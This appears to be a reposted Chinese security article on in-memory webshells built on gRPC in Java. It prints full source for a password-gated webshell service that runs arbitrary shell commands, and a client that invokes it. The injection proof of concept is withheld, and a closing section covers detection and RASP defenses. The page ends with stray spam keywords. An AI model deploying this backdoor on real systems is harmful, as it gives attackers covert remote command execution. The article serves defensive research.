<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內存馬的攻防博弈之旅之gRPC內存馬

    VSole2022-12-01 09:37:12

    一.  概述

    在內存馬的攻防博弈之旅中,我們對內存馬做過了一定的介紹。做個簡單的總結,內存馬就是在系統動態創建對外提供服務的惡意后門接口,并且整個過程沒有文件落地,全都在內存中執行,故稱之為內存馬。

    目前已經有基于Filter,servlet,service,websocket等方式實現的內存馬。本文將介紹利用gRPC協議的新型的內存馬的實現與防御。 

    二. gRPC

    gRPC[1]是由 google開發的一個高性能、通用的開源RPC框架,主要面向移動應用開發且基于HTTP/2協議標準而設計,同時支持大多數流行的編程語言。

    官方對gRPC協議的介紹如下:

    gRPC 是一種現代開源高性能遠程過程調用 (RPC) 框架,可以在任何環境中運行。它可以通過對負載平衡、跟蹤、健康檢查和身份驗證的可插拔支持,有效地連接數據中心內和數據中心之間的服務。它還適用于分布式計算的最后一英里,將設備、移動應用程序和瀏覽器連接到后端服務。

    gRPC協議有著以下的特性:

    1. 簡單的服務定義

    使用 Protocol Buffers 定義您的服務,這是一種強大的二進制序列化工具集和語言。

    2. 快速啟動并擴展

    使用一行代碼安裝運行時和開發環境,并使用框架擴展到每秒數百萬次 RPC。

    3. 跨語言和平臺工作

    以各種語言和平臺為您的服務自動生成慣用的客戶端和服務器存根。

    4. 雙向流和集成身份驗證

    雙向流和完全集成的可插拔身份驗證與基于 HTTP/2 的傳輸。

    gRPC以其高效的性能,在現在微服務架構中越來越流行。既然gRPC協議就是一種對外提供服務的接口,那是否也可以通過gRPC協議來實現一種新型的內存馬呢?

    三. gRPC環境搭建

    3.1  

    環境搭建

    首先,我們使用java maven環境搭建一個gRPC服務。完整代碼在:

    https://github.com/snailll/gRPCDemo

    創建一個簡單User服務,gRPC基于

    ProtoBuf(Protocol Buffers) [2] 序列化協議開發,我們需要先定義user.proto

    syntax = "proto3";package protocol;
    option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
    message User {  int32 userId = 1;  string username = 2;  sint32 age = 3;  string name = 4;}
    service UserService {  rpc getUser (User) returns (User) {}  rpc getUsers (User) returns (stream User) {}  rpc saveUsers (stream User) returns (User) {}}
    

    再實現對應UserService里的方法

    public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {    @Override    public void getUser(User request, StreamObserver responseObserver) {        System.out.println(request);       ...        responseObserver.onNext(user);        responseObserver.onCompleted();    }
        @Override    public void getUsers(User request, StreamObserver responseObserver) {   ...        responseObserver.onNext(user);        responseObserver.onNext(user2);
            responseObserver.onCompleted();    }
        @Override    public StreamObserver saveUsers(StreamObserver responseObserver) {
            return new StreamObserver() {   ...        };    }}
    

    啟動服務

    public class NsServer {    public static void main(String[] args) throws Exception {        int port = 8082;        Server server = ServerBuilder                .forPort(port)                .addService(new UserServiceImpl())                .build()                .start();        System.out.println("server started, port : " + port);        server.awaitTermination();    }}
    

    啟動客戶端

    public class NsTest {    public static void main(String[] args) {
            User user = User.newBuilder()                .setUserId(100)                .build();
            String host = "127.0.0.1";        int port = 8082;        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();        UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);        User responseUser = userServiceBlockingStub.getUser(user);        System.out.println(responseUser);
            Iterator users = userServiceBlockingStub.getUsers(user);        while (users.hasNext()) {            System.out.println(users.next());        }
            channel.shutdown();    }}
    

    四. 內存馬實現方式

    4.1  

    實現原理

    需要實現內存馬,我們就需要能夠動態創建對外提供服務的惡意后門接口,通過上面的環境搭建步驟我們可以看到,添加服務是Server的addService方法實現的,那我們就以此為入口,分析服務是如何添加以及運行的,來實現后續的動態添加service實現內存馬的能力。

    4.2  

    關鍵邏輯分析

    圖1 gRPC方法請求流程及動態注入

    通過分析服務解析調用的流程,整個gRPC服務的注冊及調用流程如圖1所示:

    1. 啟動時創建services列表,添加所有的gRPC的接口的定義,并設置為unmodifiable;

    2. 請求時判斷調用的接口是否在接口列表中,在列表中就調用對應的實現類。

    通過分析server創建以及請求調用的過程,可以得出,如果想要實現動態注入gRPC service,那我們需要滿足以下條件:

    1. 能獲取到獲取到services列表;

    2. 能創建自定義的service接口;

    3. 能夠對unmodifiable的接口做修改,加入創建的service接口

    通過分析,在gRPC調用鏈中,我們可以看到一個參數里面的services,methods也正是我們注冊的User服務。通過java的反射機制,就可以獲取到此屬性。

    圖2 請求中的services對象

    對于已經設置為unmodifiable的services對象,往里面直接put元素會拋出異常。因此我們采取一種討巧的方式,創建一個新的可以修改的對象,將原始內容添加進去,并加入我們需要新加入的Service,最后反射set為新創建的值。

    4.3  

    利用構造

    通過java反序列化等漏洞我們可以利用java的反射機制實現動態注入接口,修改services對象注入內存馬接口,因為PoC包含攻擊性暫不提供。  內存馬的簡單內容實現如下:

    webshell.proto定義:

    syntax = "proto3";package protocol;
    option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
    message Webshell {
      string pwd = 1;  string cmd = 2;}
    service WebShellService {  rpc exec (Webshell) returns (Webshell) {}}
    

    webshell實現類:

    public class WebshellServiceImpl extends WebShellServiceGrpc.WebShellServiceImplBase {
        @Override    public void exec(Webshell request, StreamObserver responseObserver) {        super.exec(request, responseObserver);        String pwd = request.getPwd();        String cmd = request.getCmd();
            if ("x".equals(pwd)) {            String[] cmdStrings = new String[]{"sh", "-c", cmd};            String retString = "";
                Process p = null;            try {                p = Runtime.getRuntime().exec(cmdStrings);                int status = p.waitFor();                List<String> processList = new ArrayList<String>();
                    BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));                String line = "";                while ((line = input.readLine()) != null) {                    processList.add(line);                }                input.close();
                    for (String l : processList) {                    line += l;                }                System.out.println(line);
    //                String result = p.getOutputStream().toString();                System.out.println("=======>" + line);                if (status != 0) {                    System.err.println(String.format("runShellCommand: %s, status: %s", cmd,                            status));                }
                    Webshell webshell = Webshell                        .newBuilder().setCmd(line).build();                responseObserver.onNext(webshell);                responseObserver.onCompleted();            } catch (Exception e) {                e.printStackTrace();            } finally {                if (p != null) {                    p.destroy();                }            }        }    }}
    

    4.4  

    利用效果

    默認未執行payload前Service只有一個。

    圖3 未執行內存馬前的service對象列表

    執行payload添加 Service后,webshell Service 已經成功注冊。

    圖4 執行內存馬后的service對象列表

    client連接webshell,執行命令

    public class TestShell {    public static void main(String[] args) {
            Webshell webshell = Webshell.newBuilder()                .setPwd("x")                .setCmd("ls -al ")                .build();
            String host = "127.0.0.1";        int port = 8082;        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
            WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);        Webshell s = webShellServiceBlockingStub.exec(webshell);        System.out.println(s.getCmd());        try {            Thread.sleep(5000);        } catch (InterruptedException e) {            e.printStackTrace();        }        channel.shutdown();    }}
    

    可以看到server已經成功執行命令,輸出結果。

    圖5 內存馬執行命令成功結果

    五. 防御手段

    目前內存馬的檢測手段主要有兩種方式,一種是利用基于Instrument的Agent的事后檢測機制,一種是利用RASP的事中檢測機制。

    傳統的利用Instrument的Agent檢測機制是對已存在的Servlet,Filter,Listener,Interceptor,websocket對象的class文件反編譯后再做惡意代碼識別。但gRPC類型的內存馬并不在這個列表中,因此是無法檢測的。對gRPC類型的內存馬,可以加入對實現了io.grpc.BindableService接口的類做檢測。

    利用RASP技術,可以對動態修改services列表的行為做檢測阻斷,以實現阻止gRPC內存馬的創建。

    六. 總結

    本文介紹了在新的微服務的場景,隨著gRPC協議的廣泛應用,利用gRPC實現的新型的內存馬技術也給企業的安全防護帶來了新的挑戰。同時隨著技術的不斷的迭代發展,也有可能會有其他新型的內存馬的出現。可以看出內存馬安全攻防的博弈一直都在持續進行中,這趟旅程還沒有到終點。

    stringgrpc
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SmarterStat 基于 gRPC 的 RCE
    隨著企業云原生化進程的推進,系統架構也開始從傳統架構向微服務架構轉型。服務之間的API調用也從RESTful接口轉向gRPC、GraphQL等新型的更高效的協議接口。新技術帶來便利的同時,也為內存馬攻擊技術帶來了新的攻擊面。
    JSON 擁有許多優點,使之成為最廣泛使用的序列化協議之一。此外,JSON 具備 JavaScript 的先天性支持,被廣泛應用于 Web Browser 的應用場景中,并且是 Ajax 的事實標準協議。這種語言被稱為接口描述語言,采用IDL撰寫的協議約定稱之為IDL文件。
    CrowdStrike的云威脅研究團隊在CRI-O(一個支撐Kubernetes的容器運行時引擎)中發現了一個新的漏洞(CVE-2022-0811),被稱為“cr8escape”。
    前端采用 D2Admin 、Vue。后端采用 Python 語言 Django 框架。權限認證使用 Jwt,支持多終端認證系統。整合最新技術,模塊插件式開發,前后端分離,開箱即用。核心技術采用 Spring、MyBatis、Shiro 沒有任何其它重度依賴。包括二次封裝組件、utils、hooks、動態菜單、權限校驗、按鈕級別權限控制等功能。
    Star 5426這可能是史上功能最全的Java權限認證框架,權限架構設計的絕佳實踐!Star 2472DataEase是開源的數據可視化分析工具,幫助用戶快速分析數據并洞察業務趨勢,從而實現業務的改進與優化。
    最全Linux命令總結
    實驗分析表明,該方案能夠在保證共識效率和容錯性的同時,大幅降低區塊鏈節點的存儲開銷。近年來隨著區塊鏈的發展,眾多國家政府、企業和研究機構開始關注并重視這一新興的信息技術。此外,該存儲模型中的區塊鏈賬本由所有節點共同維護,符合區塊鏈“去中心化”的思想。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类